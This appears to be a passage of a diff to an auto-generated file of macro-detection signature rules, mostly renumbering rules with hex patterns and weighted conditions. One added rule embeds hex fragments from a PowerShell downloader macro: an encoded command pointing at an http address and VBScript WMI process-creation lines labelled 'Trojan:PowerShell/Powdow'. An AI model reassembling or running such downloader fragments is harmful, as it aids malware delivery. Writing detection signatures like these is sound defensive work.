_InfrastructureShared_25263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -312360,7 +328867,7 @@ rule _InfrastructureShared_23976{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8751+(#a_6d_2 & 1)*25345+(#a_65_3 & 1)*11817+(#a_48_4 & 1)*8993+(#a_2b_5 & 1)*8760+(#a_38_6 & 1)*13106) >=7 } -rule _InfrastructureShared_23977{ +rule _InfrastructureShared_25264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312372,7 +328879,7 @@ rule _InfrastructureShared_23977{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*12854+(#a_33_2 & 1)*13874) >=3 } -rule _InfrastructureShared_23978{ +rule _InfrastructureShared_25265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312385,7 +328892,7 @@ rule _InfrastructureShared_23978{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_65_2 & 1)*30067+(#a_90_3 & 1)*5378) >=4 } -rule _InfrastructureShared_23979{ +rule _InfrastructureShared_25266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312398,7 +328905,7 @@ rule _InfrastructureShared_23979{ ((#a_53_0 & 1)*19747+(#a_15_1 & 1)*-28577+(#a_20_2 & 1)*-28640+(#a_20_3 & 1)*8224) >=4 } -rule _InfrastructureShared_23980{ +rule _InfrastructureShared_25267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312411,7 +328918,7 @@ rule _InfrastructureShared_23980{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*893+(#a_68_2 & 1)*24901+(#a_00_3 & 1)*10530) >=4 } -rule _InfrastructureShared_23981{ +rule _InfrastructureShared_25268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312425,7 +328932,7 @@ rule _InfrastructureShared_23981{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_23982{ +rule _InfrastructureShared_25269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -312440,7 +328947,7 @@ rule _InfrastructureShared_23982{ ((#a_4c_0 & 1)*21539+(#a_6a_1 & 1)*20325+(#a_22_2 & 1)*29795+(#a_20_3 & 1)*8233+(#a_52_4 & 1)*25673+(#a_39_5 & 1)*26162) >=6 } -rule _InfrastructureShared_23983{ +rule _InfrastructureShared_25270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312453,7 +328960,7 @@ rule _InfrastructureShared_23983{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*14177+(#a_62_3 & 1)*14642+(#a_63_4 & 1)*2573) >=5 } -rule _InfrastructureShared_23984{ +rule _InfrastructureShared_25271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -312463,7 +328970,7 @@ rule _InfrastructureShared_23984{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23985{ +rule _InfrastructureShared_25272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312475,7 +328982,7 @@ rule _InfrastructureShared_23985{ ((#a_53_0 & 1)*19747+(#a_10_1 & 1)*-28558+(#a_2f_2 & 1)*656) >=3 } -rule _InfrastructureShared_23986{ +rule _InfrastructureShared_25273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312487,7 +328994,7 @@ rule _InfrastructureShared_23986{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_32_2 & 1)*18004) >=4 } -rule _InfrastructureShared_23987{ +rule _InfrastructureShared_25274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312500,7 +329007,7 @@ rule _InfrastructureShared_23987{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_75_2 & 1)*25938+(#a_63_3 & 1)*29264) >=4 } -rule _InfrastructureShared_23988{ +rule _InfrastructureShared_25275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 07 00 21 " @@ -312515,7 +329022,7 @@ rule _InfrastructureShared_23988{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*27765+(#a_4c_2 & 1)*25965+(#a_00_3 & 1)*3983+(#a_4d_5 & 1)*8448+(#a_2a_6 & 1)*16386) >=6 } -rule _InfrastructureShared_23989{ +rule _InfrastructureShared_25276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312527,7 +329034,7 @@ rule _InfrastructureShared_23989{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*-28556+(#a_20_2 & 1)*-28640) >=3 } -rule _InfrastructureShared_23990{ +rule _InfrastructureShared_25277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312539,7 +329046,20 @@ rule _InfrastructureShared_23990{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*656+(#a_70_2 & 1)*8744) >=3 } -rule _InfrastructureShared_23991{ +rule _InfrastructureShared_25278{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 4b 56 4a 21 4d 54 42 00 01 00 32 01 49 41 50 51 41 6e 41 47 67 41 64 41 42 30 41 48 41 41 4f 67 41 76 41 43 38 41 4d 51 41 77 41 43 34 41 4d 67 41 77 41 } //16675 牔橯湡债睯牥桓汥⽬潐摷睯䬮䩖䴡䉔Ā㈀䤁偁䅑䅮杇摁䉁䄰䅈佁䅧䅶㡃䵁䅑䅷㑃䵁䅧䅷 + $a_4e_1 = {41 77 41 43 34 41 01 00 32 01 4d 67 41 36 41 44 67 41 4d 41 41 6e 41 44 73 41 4a 41 42 30 41 44 30 41 4a 77 41 76 41 47 45 41 5a 41 42 74 41 47 6b 41 62 67 41 76 41 47 63 41 5a 51 01 00 32 01 6f } //13379 + $a_72_2 = {63 65 73 73 2e 43 72 65 61 74 65 20 42 2c 20 4e 75 6c 6c 2c 20 6f 62 6a 43 6f 6e 66 69 67 2c 20 69 6e 74 50 72 6f 63 65 73 73 49 44 01 00 3a 01 53 65 74 20 6f 62 6a 53 74 61 72 74 75 70 20 3d 20 6f 62 6a 57 4d 49 53 65 72 76 69 63 65 2e 47 } //27234 + $a_22_3 = {69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 22 29 00 00 8f 0f 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 } //29797 + condition: + ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*13379+(#a_72_2 & 1)*27234+(#a_22_3 & 1)*29797) >=4 + +} +rule _InfrastructureShared_25279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312552,7 +329072,7 @@ rule _InfrastructureShared_23991{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1168+(#a_2c_2 & 1)*14637+(#a_53_3 & 1)*27765) >=4 } -rule _InfrastructureShared_23992{ +rule _InfrastructureShared_25280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 15 00 21 " @@ -312582,7 +329102,7 @@ rule _InfrastructureShared_23992{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*5+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_10_15 & 1)*0+(#a_73_16 & 1)*29268+(#a_69_17 & 1)*27716+(#a_90_18 & 1)*16386+(#a_65_19 & 1)*26996+(#a_22_20 & 1)*22272) >=4 } -rule _InfrastructureShared_23993{ +rule _InfrastructureShared_25281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312595,7 +329115,7 @@ rule _InfrastructureShared_23993{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*23668+(#a_4f_2 & 1)*29793+(#a_53_3 & 1)*19747) >=4 } -rule _InfrastructureShared_23994{ +rule _InfrastructureShared_25282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312608,7 +329128,7 @@ rule _InfrastructureShared_23994{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_65_2 & 1)*8293+(#a_65_3 & 1)*28525) >=4 } -rule _InfrastructureShared_23995{ +rule _InfrastructureShared_25283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312621,7 +329141,7 @@ rule _InfrastructureShared_23995{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_45_2 & 1)*20480+(#a_74_3 & 1)*28277) >=4 } -rule _InfrastructureShared_23996{ +rule _InfrastructureShared_25284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -312636,7 +329156,7 @@ rule _InfrastructureShared_23996{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28621+(#a_02_2 & 1)*24352+(#a_20_3 & 1)*28530+(#a_08_4 & 1)*-28632+(#a_90_5 & 1)*2050) >=6 } -rule _InfrastructureShared_23997{ +rule _InfrastructureShared_25285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -312646,7 +329166,7 @@ rule _InfrastructureShared_23997{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23998{ +rule _InfrastructureShared_25286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -312657,7 +329177,7 @@ rule _InfrastructureShared_23998{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236) >=2 } -rule _InfrastructureShared_23999{ +rule _InfrastructureShared_25287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312669,7 +329189,7 @@ rule _InfrastructureShared_23999{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*19968) >=3 } -rule _InfrastructureShared_24000{ +rule _InfrastructureShared_25288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312681,7 +329201,7 @@ rule _InfrastructureShared_24000{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_90_2 & 1)*8253) >=3 } -rule _InfrastructureShared_24001{ +rule _InfrastructureShared_25289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312693,7 +329213,7 @@ rule _InfrastructureShared_24001{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_74_2 & 1)*28277) >=3 } -rule _InfrastructureShared_24002{ +rule _InfrastructureShared_25290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312705,7 +329225,7 @@ rule _InfrastructureShared_24002{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_52_2 & 1)*29295) >=4 } -rule _InfrastructureShared_24003{ +rule _InfrastructureShared_25291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312718,7 +329238,7 @@ rule _InfrastructureShared_24003{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_74_2 & 1)*28277+(#a_6b_3 & 1)*25960) >=4 } -rule _InfrastructureShared_24004{ +rule _InfrastructureShared_25292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 07 00 21 " @@ -312734,7 +329254,7 @@ rule _InfrastructureShared_24004{ ((#a_6f_0 & 1)*21539+(#a_74_1 & 1)*26624+(#a_68_2 & 1)*5+(#a_02_3 & 1)*8308+(#a_65_4 & 1)*8253+(#a_41_5 & 1)*8448+(#a_63_6 & 1)*25206) >=4 } -rule _InfrastructureShared_24005{ +rule _InfrastructureShared_25293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312748,7 +329268,7 @@ rule _InfrastructureShared_24005{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*25206+(#a_6e_2 & 1)*28483+(#a_64_3 & 1)*29559+(#a_72_4 & 1)*11892) >=5 } -rule _InfrastructureShared_24006{ +rule _InfrastructureShared_25294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -312758,7 +329278,7 @@ rule _InfrastructureShared_24006{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_24007{ +rule _InfrastructureShared_25295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312770,7 +329290,7 @@ rule _InfrastructureShared_24007{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8253+(#a_2f_2 & 1)*14960) >=3 } -rule _InfrastructureShared_24008{ +rule _InfrastructureShared_25296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312782,7 +329302,7 @@ rule _InfrastructureShared_24008{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_49_2 & 1)*27136) >=3 } -rule _InfrastructureShared_24009{ +rule _InfrastructureShared_25297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312794,7 +329314,7 @@ rule _InfrastructureShared_24009{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_4d_2 & 1)*15619) >=3 } -rule _InfrastructureShared_24010{ +rule _InfrastructureShared_25298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312806,7 +329326,7 @@ rule _InfrastructureShared_24010{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*18720+(#a_90_2 & 1)*29548) >=4 } -rule _InfrastructureShared_24011{ +rule _InfrastructureShared_25299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312818,7 +329338,7 @@ rule _InfrastructureShared_24011{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_24012{ +rule _InfrastructureShared_25300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312830,7 +329350,7 @@ rule _InfrastructureShared_24012{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_24013{ +rule _InfrastructureShared_25301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312844,7 +329364,7 @@ rule _InfrastructureShared_24013{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8736+(#a_20_2 & 1)*26465+(#a_6c_3 & 1)*25923+(#a_53_4 & 1)*19747) >=5 } -rule _InfrastructureShared_24014{ +rule _InfrastructureShared_25302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312858,7 +329378,7 @@ rule _InfrastructureShared_24014{ ((#a_53_0 & 1)*19747+(#a_6b_1 & 1)*26988+(#a_65_2 & 1)*26925+(#a_3d_3 & 1)*-4352+(#a_28_4 & 1)*25441) >=5 } -rule _InfrastructureShared_24015{ +rule _InfrastructureShared_25303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -312868,7 +329388,7 @@ rule _InfrastructureShared_24015{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_24016{ +rule _InfrastructureShared_25304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -312882,7 +329402,7 @@ rule _InfrastructureShared_24016{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_26_2 & 1)*29699+(#a_70_3 & 1)*11520+(#a_26_4 & 1)*770) >=1 } -rule _InfrastructureShared_24017{ +rule _InfrastructureShared_25305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312896,7 +329416,7 @@ rule _InfrastructureShared_24017{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*10616+(#a_64_2 & 1)*25956+(#a_29_3 & 1)*12594+(#a_74_4 & 1)*25964) >=5 } -rule _InfrastructureShared_24018{ +rule _InfrastructureShared_25306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312910,7 +329430,7 @@ rule _InfrastructureShared_24018{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29472+(#a_29_2 & 1)*25708+(#a_65_3 & 1)*11808+(#a_90_4 & 1)*28181) >=5 } -rule _InfrastructureShared_24019{ +rule _InfrastructureShared_25307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312922,7 +329442,7 @@ rule _InfrastructureShared_24019{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_52_2 & 1)*15619) >=3 } -rule _InfrastructureShared_24020{ +rule _InfrastructureShared_25308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312935,7 +329455,7 @@ rule _InfrastructureShared_24020{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_75_2 & 1)*808+(#a_00_3 & 1)*66) >=4 } -rule _InfrastructureShared_24021{ +rule _InfrastructureShared_25309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312948,7 +329468,7 @@ rule _InfrastructureShared_24021{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_75_2 & 1)*808+(#a_00_3 & 1)*66) >=4 } -rule _InfrastructureShared_24022{ +rule _InfrastructureShared_25310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312961,7 +329481,7 @@ rule _InfrastructureShared_24022{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6f_2 & 1)*29253+(#a_70_3 & 1)*28532) >=4 } -rule _InfrastructureShared_24023{ +rule _InfrastructureShared_25311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -312976,7 +329496,7 @@ rule _InfrastructureShared_24023{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29804+(#a_30_2 & 1)*12654+(#a_69_3 & 1)*28261+(#a_61_4 & 1)*24946+(#a_2d_5 & 1)*13674) >=6 } -rule _InfrastructureShared_24024{ +rule _InfrastructureShared_25312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -312987,7 +329507,7 @@ rule _InfrastructureShared_24024{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*17267) >=2 } -rule _InfrastructureShared_24025{ +rule _InfrastructureShared_25313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -312998,7 +329518,7 @@ rule _InfrastructureShared_24025{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236) >=2 } -rule _InfrastructureShared_24026{ +rule _InfrastructureShared_25314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313010,7 +329530,7 @@ rule _InfrastructureShared_24026{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8236+(#a_76_2 & 1)*21106) >=3 } -rule _InfrastructureShared_24027{ +rule _InfrastructureShared_25315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313022,7 +329542,7 @@ rule _InfrastructureShared_24027{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_20_2 & 1)*20227) >=3 } -rule _InfrastructureShared_24028{ +rule _InfrastructureShared_25316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313034,7 +329554,7 @@ rule _InfrastructureShared_24028{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_3a_3 & 1)*9216) >=4 } -rule _InfrastructureShared_24029{ +rule _InfrastructureShared_25317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -313049,7 +329569,7 @@ rule _InfrastructureShared_24029{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*20083+(#a_00_2 & 1)*10612+(#a_66_3 & 1)*29441+(#a_6f_4 & 1)*8235+(#a_74_5 & 1)*25934) >=6 } -rule _InfrastructureShared_24030{ +rule _InfrastructureShared_25318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313060,7 +329580,7 @@ rule _InfrastructureShared_24030{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386) >=3 } -rule _InfrastructureShared_24031{ +rule _InfrastructureShared_25319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313072,7 +329592,7 @@ rule _InfrastructureShared_24031{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8194+(#a_70_2 & 1)*8253) >=3 } -rule _InfrastructureShared_24032{ +rule _InfrastructureShared_25320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313084,7 +329604,7 @@ rule _InfrastructureShared_24032{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_74_2 & 1)*21251) >=3 } -rule _InfrastructureShared_24033{ +rule _InfrastructureShared_25321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313097,7 +329617,7 @@ rule _InfrastructureShared_24033{ ((#a_53_0 & 1)*19747+(#a_78_1 & 1)*20000+(#a_6e_2 & 1)*26996+(#a_42_3 & 1)*19745) >=4 } -rule _InfrastructureShared_24034{ +rule _InfrastructureShared_25322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313110,7 +329630,7 @@ rule _InfrastructureShared_24034{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*25973+(#a_64_2 & 1)*17667+(#a_0c_3 & 1)*10536) >=4 } -rule _InfrastructureShared_24035{ +rule _InfrastructureShared_25323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -313125,7 +329645,7 @@ rule _InfrastructureShared_24035{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*17993+(#a_90_2 & 1)*10309+(#a_45_3 & 1)*17476+(#a_22_4 & 1)*17749+(#a_4d_5 & 1)*14671) >=6 } -rule _InfrastructureShared_24036{ +rule _InfrastructureShared_25324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -313140,7 +329660,7 @@ rule _InfrastructureShared_24036{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*311+(#a_69_2 & 1)*28769+(#a_75_3 & 1)*270+(#a_69_4 & 1)*24942+(#a_77_5 & 1)*26) >=7 } -rule _InfrastructureShared_24037{ +rule _InfrastructureShared_25325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0b 00 21 " @@ -313160,7 +329680,7 @@ rule _InfrastructureShared_24037{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16896+(#a_2e_2 & 1)*29541+(#a_02_3 & 1)*30576+(#a_65_4 & 1)*30067+(#a_00_5 & 1)*21581+(#a_22_6 & 1)*656+(#a_02_7 & 1)*29248+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1) >=1 } -rule _InfrastructureShared_24038{ +rule _InfrastructureShared_25326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313172,7 +329692,7 @@ rule _InfrastructureShared_24038{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_63_2 & 1)*656) >=3 } -rule _InfrastructureShared_24039{ +rule _InfrastructureShared_25327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313184,7 +329704,7 @@ rule _InfrastructureShared_24039{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_22_3 & 1)*17408) >=4 } -rule _InfrastructureShared_24040{ +rule _InfrastructureShared_25328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313196,7 +329716,7 @@ rule _InfrastructureShared_24040{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_63_3 & 1)*30022) >=4 } -rule _InfrastructureShared_24041{ +rule _InfrastructureShared_25329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -313209,7 +329729,7 @@ rule _InfrastructureShared_24041{ ((#a_53_0 & 1)*19747+(#a_38_1 & 1)*12590+(#a_03_2 & 1)*-28626+(#a_2f_3 & 1)*400) >=1 } -rule _InfrastructureShared_24042{ +rule _InfrastructureShared_25330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313221,7 +329741,7 @@ rule _InfrastructureShared_24042{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290) >=3 } -rule _InfrastructureShared_24043{ +rule _InfrastructureShared_25331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -313234,7 +329754,7 @@ rule _InfrastructureShared_24043{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*8236+(#a_4f_2 & 1)*8224+(#a_6c_3 & 1)*24899) >=3 } -rule _InfrastructureShared_24044{ +rule _InfrastructureShared_25332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313247,7 +329767,7 @@ rule _InfrastructureShared_24044{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26946+(#a_62_2 & 1)*25972+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_24045{ +rule _InfrastructureShared_25333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -313260,7 +329780,7 @@ rule _InfrastructureShared_24045{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*25445+(#a_73_2 & 1)*25391+(#a_00_3 & 1)*21581) >=2 } -rule _InfrastructureShared_24046{ +rule _InfrastructureShared_25334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313272,7 +329792,7 @@ rule _InfrastructureShared_24046{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23653+(#a_64_2 & 1)*19744) >=3 } -rule _InfrastructureShared_24047{ +rule _InfrastructureShared_25335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313286,7 +329806,7 @@ rule _InfrastructureShared_24047{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25700+(#a_29_2 & 1)*28525+(#a_38_3 & 1)*17725+(#a_69_4 & 1)*14458) >=5 } -rule _InfrastructureShared_24048{ +rule _InfrastructureShared_25336{ meta: description = 